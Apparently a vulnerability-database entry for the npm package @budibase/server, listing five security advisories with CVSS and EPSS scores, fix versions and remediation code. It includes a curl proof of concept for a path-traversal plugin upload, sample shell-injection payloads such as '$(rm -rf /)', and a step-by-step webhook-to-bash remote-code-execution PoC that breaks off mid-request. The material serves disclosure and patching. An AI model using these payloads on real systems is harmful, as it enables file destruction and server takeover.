Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40budibase/server@2.6.19-alpha.29
Typenpm
Namespace@budibase
Nameserver
Version2.6.19-alpha.29
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version3.33.4
Latest_non_vulnerable_version3.38.1
Affected_by_vulnerabilities
0
url VCID-16z4-pv1n-gyhb
vulnerability_id VCID-16z4-pv1n-gyhb
summary
Budibase affected by VM2 Constructor Escape Vulnerability
### Impact
Previously, budibase used a library called `vm2` for code execution inside the Budibase builder and apps, such as the UI below for configuring bindings in the design section.

![Screenshot 2024-03-01 at 13 50 16](https://github.com/Budibase/budibase/assets/11256663/5f049b64-cd99-48fd-a184-644cd312c82e)

Due to a [vulnerability in vm2](https://github.com/advisories/GHSA-cchq-frgv-rjh5), any environment that executed the code server side (automations and column formulas) was susceptible to this vulnerability, allowing users to escape the sandbox provided by `vm2`, and to expose server side variables such as `process.env`. It's recommended by the authors of `vm2` themselves that you should move to another solution for remote JS execution due to this vulnerability.

### Patches
We moved our entire JS sandbox infrastructure over to `isolated-vm`, a much more secure and recommended library for remote code execution in 2.20.0. This also comes with a performance benefit in the way we cache and execute your JS server side. The budibase cloud platform has been patched already and is not running `vm2`, but self host users will need to manage the updates by themselves.

If you are a self hosted user, you can take the following steps to reproduce the exploit and to verify if your installation is currently affected.

Create a new formula column on one of your tables in the data section with the following configuration.
![Screenshot 2024-03-01 at 14 04 28](https://github.com/Budibase/budibase/assets/11256663/0f8bc19b-9e44-4e95-ab4e-6ef6278eea34)

Add the following JS function to the formula and save.
![Screenshot 2024-03-01 at 14 05 19](https://github.com/Budibase/budibase/assets/11256663/1d0c9705-1a88-49b0-93e0-f385a04b5c25)

If your installation is vulnerable, when the formula evaluates you will be able to see the printed `process.env` in your new formula field. If not, your installation is not affected.

### Workarounds
There is no workaround at this time for any budibase app that uses JS. You must fully migrate post version 2.20.0 to patch the vulnerability.

### References
- https://github.com/advisories/GHSA-cchq-frgv-rjh5
references
0
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
1
reference_url https://github.com/Budibase/budibase/commit/601c02a4acc695b1cc602bf611f0ae66d6e5868f
reference_id
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase/commit/601c02a4acc695b1cc602bf611f0ae66d6e5868f
2
reference_url https://github.com/advisories/GHSA-4g2x-vq5p-5vj6
reference_id GHSA-4g2x-vq5p-5vj6
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-4g2x-vq5p-5vj6
3
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-4g2x-vq5p-5vj6
reference_id GHSA-4g2x-vq5p-5vj6
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase/security/advisories/GHSA-4g2x-vq5p-5vj6
4
reference_url https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5
reference_id GHSA-cchq-frgv-rjh5
reference_type
scores
0
value 9.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5
fixed_packages
0
url pkg:npm/%40budibase/server@2.20.0
purl pkg:npm/%40budibase/server@2.20.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-55z8-61vb-3bgu
1
vulnerability VCID-8w6x-sana-skfd
2
vulnerability VCID-hu2a-usnx-23au
3
vulnerability VCID-hx4u-s7t2-quga
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@2.20.0
aliases GHSA-4g2x-vq5p-5vj6
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-16z4-pv1n-gyhb
1
url VCID-55z8-61vb-3bgu
vulnerability_id VCID-55z8-61vb-3bgu
summary
@budibase/server: Command Injection in PostgreSQL Dump Command
**Location**: `packages/server/src/integrations/postgres.ts:529-531`
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25041
reference_id
reference_type
scores
0
value 0.00082
scoring_system epss
scoring_elements 0.24088
published_at 2026-06-08T12:55:00Z
1
value 0.00082
scoring_system epss
scoring_elements 0.24147
published_at 2026-06-07T12:55:00Z
2
value 0.00082
scoring_system epss
scoring_elements 0.24202
published_at 2026-06-06T12:55:00Z
3
value 0.00082
scoring_system epss
scoring_elements 0.2422
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25041
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/blob/f34d545602a7c94427bae63312a5ee9bf2aa6c85/packages/server/src/integrations/postgres.ts#L529-L531
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-09T20:31:29Z/
url https://github.com/Budibase/budibase/blob/f34d545602a7c94427bae63312a5ee9bf2aa6c85/packages/server/src/integrations/postgres.ts#L529-L531
3
reference_url https://github.com/Budibase/budibase/commit/9fdbff32fb9e69650ba899a799e13f80d9b09e93
reference_id
reference_type
scores
0
value 8.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-09T20:31:29Z/
url https://github.com/Budibase/budibase/commit/9fdbff32fb9e69650ba899a799e13f80d9b09e93
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25041
reference_id CVE-2026-25041
reference_type
scores
0
value 8.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25041
5
reference_url https://github.com/advisories/GHSA-726g-59wr-cj4c
reference_id GHSA-726g-59wr-cj4c
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-726g-59wr-cj4c
6
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-726g-59wr-cj4c
reference_id GHSA-726g-59wr-cj4c
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value 8.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-03-09T20:31:29Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-726g-59wr-cj4c
fixed_packages
0
url pkg:npm/%40budibase/server@3.23.32
purl pkg:npm/%40budibase/server@3.23.32
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-8w6x-sana-skfd
1
vulnerability VCID-hu2a-usnx-23au
2
vulnerability VCID-hx4u-s7t2-quga
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.23.32
aliases CVE-2026-25041, GHSA-726g-59wr-cj4c
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-55z8-61vb-3bgu
2
url VCID-8w6x-sana-skfd
vulnerability_id VCID-8w6x-sana-skfd
summary
Budibase: Path traversal in plugin file upload enables arbitrary directory deletion and file write
## Summary

The plugin file upload endpoint (`POST /api/plugin/upload`) passes the user-supplied filename directly to `createTempFolder()` without sanitizing path traversal sequences. An attacker with Global Builder privileges can craft a multipart upload with a filename containing `../` to delete arbitrary directories via `rmSync` and write arbitrary files via tarball extraction to any filesystem path the Node.js process can access.

## Severity

- **Attack Vector:** Network — exploitable via the plugin upload HTTP API
- **Attack Complexity:** Low — no special conditions; a single crafted multipart request suffices
- **Privileges Required:** High — requires Global Builder role (`GLOBAL_BUILDER` permission)
- **User Interaction:** None
- **Scope:** Changed — the plugin upload feature is scoped to a temp directory, but the traversal escapes to the host filesystem
- **Confidentiality Impact:** None — the vulnerability enables deletion and writing, not reading
- **Integrity Impact:** High — attacker can delete arbitrary directories and write arbitrary files via tarball extraction
- **Availability Impact:** High — recursive deletion of application or system directories causes denial of service

### Severity Rationale

 Despite the real filesystem impact, severity is bounded by the requirement for Global Builder privileges (PR:H), which is the highest non-admin role in Budibase. In self-hosted deployments the Global Builder may already have server access, further reducing practical impact. In cloud/multi-tenant deployments the impact is more significant as it could affect the host infrastructure.

## Affected Component

- `packages/server/src/api/controllers/plugin/file.ts` — `fileUpload()` (line 15)
- `packages/server/src/utilities/fileSystem/filesystem.ts` — `createTempFolder()` (lines 78-91)

## Description

### Unsanitized filename flows into filesystem operations

In `packages/server/src/api/controllers/plugin/file.ts`, the uploaded file's name is used directly after stripping the `.tar.gz` suffix:

```typescript
// packages/server/src/api/controllers/plugin/file.ts:8-19
export async function fileUpload(file: KoaFile) {
  if (!file.name || !file.path) {
    throw new Error("File is not valid - cannot upload.")
  }
  if (!file.name.endsWith(".tar.gz")) {
    throw new Error("Plugin must be compressed into a gzipped tarball.")
  }
  const path = createTempFolder(file.name.split(".tar.gz")[0])
  await extractTarball(file.path, path)

  return await getPluginMetadata(path)
}
```

The `file.name` originates from the `Content-Disposition` header's `filename` field in the multipart upload, parsed by formidable (via koa-body 4.2.0). Formidable does not sanitize path traversal sequences from filenames.

The `createTempFolder` function in `packages/server/src/utilities/fileSystem/filesystem.ts` uses `path.join()` which resolves `../` sequences, then performs destructive filesystem operations:

```typescript
// packages/server/src/utilities/fileSystem/filesystem.ts:78-91
export const createTempFolder = (item: string) => {
  const path = join(budibaseTempDir(), item)
  try {
    // remove old tmp directories automatically - don't combine
    if (fs.existsSync(path)) {
      fs.rmSync(path, { recursive: true, force: true })
    }
    fs.mkdirSync(path)
  } catch (err: any) {
    throw new Error(`Path cannot be created: ${err.message}`)
  }

  return path
}
```

The `budibaseTempDir()` returns `/tmp/.budibase` (from `packages/backend-core/src/objectStore/utils.ts:33`). With a filename like `../../etc/target.tar.gz`, `path.join("/tmp/.budibase", "../../etc/target")` resolves to `/etc/target`.

### Inconsistent defenses confirm the gap

The codebase is aware of the risk in similar paths:

1. **Safe path in `utils.ts`**: The `downloadUnzipTarball` function (for NPM/GitHub/URL plugin sources) generates a random name server-side:
   ```typescript
   // packages/server/src/api/controllers/plugin/index.ts:68
   const name = "PLUGIN_" + Math.floor(100000 + Math.random() * 900000)
   ```
   This is safe because `name` never contains user input.

2. **Safe path in `objectStore.ts`**: Other uses of `budibaseTempDir()` use UUID-generated names:
   ```typescript
   // packages/backend-core/src/objectStore/objectStore.ts:546
   const outputPath = join(budibaseTempDir(), v4())
   ```

3. **Sanitization exists but is not applied**: The codebase has `sanitizeKey()` in `objectStore.ts` for sanitizing object store paths, but no equivalent is applied to `createTempFolder`'s input.

The file upload path is the only caller of `createTempFolder` that passes unsanitized user input.

### Execution chain

1. Authenticated Global Builder sends `POST /api/plugin/upload` with a multipart file whose `Content-Disposition` filename contains path traversal (e.g., `../../etc/target.tar.gz`)
2. koa-body/formidable parses the upload, setting `file.name` to the raw filename from the header
3. `controller.upload` → `sdk.plugins.processUploaded()` → `fileUpload(file)`
4. `.endsWith(".tar.gz")` check passes (the suffix is present)
5. `.split(".tar.gz")[0]` extracts `../../etc/target`
6. `createTempFolder("../../etc/target")` is called
7. `path.join("/tmp/.budibase", "../../etc/target")` resolves to `/etc/target`
8. `fs.rmSync("/etc/target", { recursive: true, force: true })` — **deletes the target directory recursively**
9. `fs.mkdirSync("/etc/target")` — **creates a directory at the traversed path**
10. `extractTarball(file.path, "/etc/target")` — **extracts attacker-controlled tarball contents to the traversed path**

## Proof of Concept

```bash
# Create a minimal tarball with a test file
mkdir -p /tmp/plugin-poc && echo "pwned" > /tmp/plugin-poc/test.txt
tar czf /tmp/poc-plugin.tar.gz -C /tmp/plugin-poc .

# Upload with a traversal filename targeting /tmp/pwned (non-destructive demo)
curl -X POST 'http://localhost:10000/api/plugin/upload' \
  -H 'Cookie: <global_builder_session_cookie>' \
  -F "file=@/tmp/poc-plugin.tar.gz;filename=../../tmp/pwned.tar.gz"

# Result: server executes:
#   rm -rf /tmp/pwned        (if exists)
#   mkdir /tmp/pwned
#   tar xzf <upload> -C /tmp/pwned
# Verify: ls /tmp/pwned/test.txt
```

## Impact

- **Arbitrary directory deletion**: `rmSync` with `{ recursive: true, force: true }` deletes any directory the Node.js process can access, including application data directories
- **Arbitrary file write**: Tarball extraction writes attacker-controlled files to any writable path, potentially overwriting application code, configuration, or system files
- **Denial of service**: Deleting critical directories (e.g., the application's data directory, node_modules, or system directories) crashes the application
- **Potential code execution**: In containerized deployments (common for Budibase) where Node.js runs as root, an attacker could overwrite startup scripts or application code to achieve remote code execution on subsequent restarts

## Recommended Remediation

### Option 1: Sanitize at `createTempFolder` (preferred — protects all callers)

```typescript
import { join, resolve } from "path"

export const createTempFolder = (item: string) => {
  const tempDir = budibaseTempDir()
  const resolved = resolve(tempDir, item)

  // Ensure the resolved path is within the temp directory
  if (!resolved.startsWith(tempDir + "/") && resolved !== tempDir) {
    throw new Error("Invalid path: directory traversal detected")
  }

  try {
    if (fs.existsSync(resolved)) {
      fs.rmSync(resolved, { recursive: true, force: true })
    }
    fs.mkdirSync(resolved)
  } catch (err: any) {
    throw new Error(`Path cannot be created: ${err.message}`)
  }

  return resolved
}
```

### Option 2: Sanitize at the upload handler (defense-in-depth)

Strip path components from the filename before use:

```typescript
import path from "path"

export async function fileUpload(file: KoaFile) {
  if (!file.name || !file.path) {
    throw new Error("File is not valid - cannot upload.")
  }
  if (!file.name.endsWith(".tar.gz")) {
    throw new Error("Plugin must be compressed into a gzipped tarball.")
  }
  // Strip directory components from the filename
  const safeName = path.basename(file.name).split(".tar.gz")[0]
  const dir = createTempFolder(safeName)
  await extractTarball(file.path, dir)

  return await getPluginMetadata(dir)
}
```

Both options should ideally be applied together for defense-in-depth.

## Credit

This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35214
reference_id
reference_type
scores
0
value 0.00061
scoring_system epss
scoring_elements 0.19111
published_at 2026-06-08T12:55:00Z
1
value 0.00061
scoring_system epss
scoring_elements 0.19183
published_at 2026-06-07T12:55:00Z
2
value 0.00061
scoring_system epss
scoring_elements 0.19227
published_at 2026-06-06T12:55:00Z
3
value 0.00061
scoring_system epss
scoring_elements 0.1923
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35214
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/
url https://github.com/Budibase/budibase/commit/6344d06d703660fd05995e61d581593c2349c879
3
reference_url https://github.com/Budibase/budibase/pull/18240
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/
url https://github.com/Budibase/budibase/pull/18240
4
reference_url https://github.com/Budibase/budibase/releases/tag/3.33.4
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/
url https://github.com/Budibase/budibase/releases/tag/3.33.4
5
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-03T16:04:18Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-2wfh-rcwf-wh23
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35214
reference_id
reference_type
scores
0
value 8.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35214
7
reference_url https://github.com/advisories/GHSA-2wfh-rcwf-wh23
reference_id GHSA-2wfh-rcwf-wh23
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-2wfh-rcwf-wh23
fixed_packages
0
url pkg:npm/%40budibase/server@3.33.4
purl pkg:npm/%40budibase/server@3.33.4
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.33.4
aliases CVE-2026-35214, GHSA-2wfh-rcwf-wh23
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-8w6x-sana-skfd
3
url VCID-hu2a-usnx-23au
vulnerability_id VCID-hu2a-usnx-23au
summary
Budibase: Command Injection in Bash Automation Step
**Location**: `packages/server/src/automations/steps/bash.ts`  

#### Description
The bash automation step executes user-provided commands using `execSync` without proper sanitization or validation. User input is processed through `processStringSync` which allows template interpolation, potentially allowing arbitrary command execution.

#### Code Reference
```21:28:packages/server/src/automations/steps/bash.ts
    const command = processStringSync(inputs.code, context)

    let stdout,
      success = true
    try {
      stdout = execSync(command, {
        timeout: environment.QUERY_THREAD_TIMEOUT,
      }).toString()
```

#### Attack Vector
An attacker with access to create or modify automations can inject malicious shell commands by including template syntax that evaluates to command injection payloads (e.g., `$(rm -rf /)`, `; malicious-command`, `| malicious-command`).

#### Impact
- Remote code execution (RCE)
- Complete system compromise
- Data exfiltration
- Lateral movement within the infrastructure

#### Recommendation
1. **Immediate**: Disable bash automation step in production until fixed
2. Implement a whitelist of allowed commands
3. Use parameterized command execution with proper escaping
4. Implement command argument validation
5. Consider using a restricted shell or command sandboxing
6. Add rate limiting and monitoring for command execution

#### Example Fix
```typescript
import { spawn } from "child_process"

// Validate against whitelist
const ALLOWED_COMMANDS = ["echo", "date", "pwd"] // Extend as needed

function sanitizeCommand(input: string): string {
  // Remove dangerous characters and command chaining
  return input.replace(/[;&|`$(){}[\]]/g, "").trim()
}

function validateCommand(cmd: string): boolean {
  const parts = cmd.split(/\s+/)
  return ALLOWED_COMMANDS.includes(parts[0])
}

export async function run({ inputs, context }) {
  if (!inputs.code) {
    return { stdout: "Budibase bash automation failed: Invalid inputs" }
  }

  const processedCommand = processStringSync(inputs.code, context)
  const sanitized = sanitizeCommand(processedCommand)
  
  if (!validateCommand(sanitized)) {
    return {
      success: false,
      stdout: "Command not allowed"
    }
  }

  // Use spawn instead of execSync with proper argument handling
  return new Promise((resolve) => {
    const [command, ...args] = sanitized.split(/\s+/)
    const proc = spawn(command, args, {
      timeout: environment.QUERY_THREAD_TIMEOUT,
    })
    
    let stdout = ""
    proc.stdout.on("data", (data) => { stdout += data })
    proc.on("close", (code) => {
      resolve({ stdout, success: code === 0 })
    })
  })
}
```
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-25044
reference_id
reference_type
scores
0
value 0.00085
scoring_system epss
scoring_elements 0.24701
published_at 2026-06-06T12:55:00Z
1
value 0.00085
scoring_system epss
scoring_elements 0.24587
published_at 2026-06-08T12:55:00Z
2
value 0.00085
scoring_system epss
scoring_elements 0.24645
published_at 2026-06-07T12:55:00Z
3
value 0.00085
scoring_system epss
scoring_elements 0.24711
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-25044
1
reference_url https://github.com/Budibase/budibase
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/Budibase/budibase
2
reference_url https://github.com/Budibase/budibase/releases/tag/3.33.2
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-04-03T16:45:21Z/
url https://github.com/Budibase/budibase/releases/tag/3.33.2
3
reference_url https://github.com/Budibase/budibase/security/advisories/GHSA-gjw9-34gf-rp6m
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
3
value HIGH
scoring_system generic_textual
scoring_elements
4
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2026-04-03T16:45:21Z/
url https://github.com/Budibase/budibase/security/advisories/GHSA-gjw9-34gf-rp6m
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-25044
reference_id
reference_type
scores
0
value 8.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
1
value 8.7
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-25044
5
reference_url https://github.com/advisories/GHSA-gjw9-34gf-rp6m
reference_id GHSA-gjw9-34gf-rp6m
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-gjw9-34gf-rp6m
fixed_packages
0
url pkg:npm/%40budibase/server@3.33.4
purl pkg:npm/%40budibase/server@3.33.4
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/server@3.33.4
aliases CVE-2026-25044, GHSA-gjw9-34gf-rp6m
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-hu2a-usnx-23au
4
url VCID-hx4u-s7t2-quga
vulnerability_id VCID-hx4u-s7t2-quga
summary
Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step
### Summary
An unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.

### Details

**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**

```typescript
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/trigger/:instance/:id", controller.trigger)
```

The webhook trigger endpoint is registered on `publicRoutes` with **no authentication
middleware**. Any unauthenticated HTTP client can POST to this endpoint.

**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**

```typescript
const command = processStringSync(inputs.code, context)
stdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()
```

The Bash automation step uses Handlebars template processing (`processStringSync`) on
`inputs.code`, substituting values from the webhook request body into the shell command
string before passing it to `execSync()`.

**Attack chain:**

```
HTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH
        ↓
controller.trigger()  [webhook.ts:90]
        ↓
triggers.externalTrigger()
        ↓ webhook fields flattened into automation context
automation.steps[EXECUTE_BASH].run()  [actions.ts:131]
        ↓
processStringSync("{{ trigger.cmd }}", { cmd: "ATTACKER_PAYLOAD" })
        ↓
execSync("ATTACKER_PAYLOAD")                          ← RCE AS ROOT
```

**Precondition:** An admin must have created and published an automation containing:
1. A Webhook trigger
2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)

This is a legitimate and documented workflow. Such configurations may exist in
production deployments for automation of server-side tasks.

**Note on EXECUTE_BASH availability:** The bash step is only registered when
`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:

```typescript
// packages/server/src/automations/actions.ts line 126-132
// don't add the bash script/definitions unless in self host
if (env.SELF_HOSTED) {
  ACTION_IMPLS["EXECUTE_BASH"] = bash.run
  BUILTIN_ACTION_DEFINITIONS["EXECUTE_BASH"] = automations.steps.bash.definition
}
```

**Webhook context flattening** (why `{{ trigger.cmd }}` works):

In `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations
the `params.fields` are spread directly into the trigger context:

```typescript
// row actions and webhooks flatten the fields down
else if (sdk.automations.isWebhookAction(automation)) {
  params = {
    ...params,
    ...params.fields,  // { cmd: "PAYLOAD" } becomes top-level
    fields: {},
  }
}
```

This means a webhook body `{"cmd": "id"}` becomes accessible as `{{ trigger.cmd }}`
in the bash step template.

### PoC

#### Environment

```
Target:  http://TARGET:10000   (any self-hosted Budibase instance)
Tester:  Any machine with curl
Auth:    Admin credentials required for SETUP PHASE only
         Zero auth required for EXPLOITATION PHASE
```

---

#### PHASE 1 — Admin Setup (performed once by legitimate admin)

> **Note:** This phase represents normal Budibase usage. Any admin who creates
> a webhook automation with a bash step using template variables creates this exposure.

**Step 1 — Authenticate as admin:**

```bash
curl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": "admin@company.com",
    "password": "adminpassword"
  }'

# Expected response:
# {"message":"Login successful"}
```

**Step 2 — Create an application:**

```bash
curl -b cookies.txt -X POST http://TARGET:10000/api/applications \
  -H "Content-Type: application/json" \
  -d '{
    "name": "MyApp",
    "useTemplate": false,
    "url": "/myapp"
  }'

# Note the appId from the response, e.g.:
# "appId": "app_dev_c999265f6f984e3aa986788723984cd5"

APP_ID="app_dev_c999265f6f984e3aa986788723984cd5"
```

**Step 3 — Create automation with Webhook trigger + Bash step:**

```bash
curl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \
  -H "Content-Type: application/json" \
  -H "x-budibase-app-id: $APP_ID" \
  -d '{
    "name": "WebhookBash",
    "type": "automation",
    "definition": {
      "trigger": {
        "id": "trigger_1",
        "name": "Webhook",
        "event": "app:webhook:trigger",
        "stepId": "WEBHOOK",
        "type": "TRIGGER",
        "icon": "paper-plane-right",
        "description": "Trigger an automation when a HTTP POST webhook is hit",
        "tagline": "Webhook endpoint is hit",
        "inputs": {},
        "schema": {
          "inputs": { "properties": {} },
          "outputs": {
            "properties": { "body": { "type": "object" } }
          }
        }
      },
      "steps": [
        {
          "id": "bash_step_1",
          "name": "Bash Scripting",
          "stepId": "EXECUTE_BASH",
          "type": "ACTION",
          "icon": "git-branch",
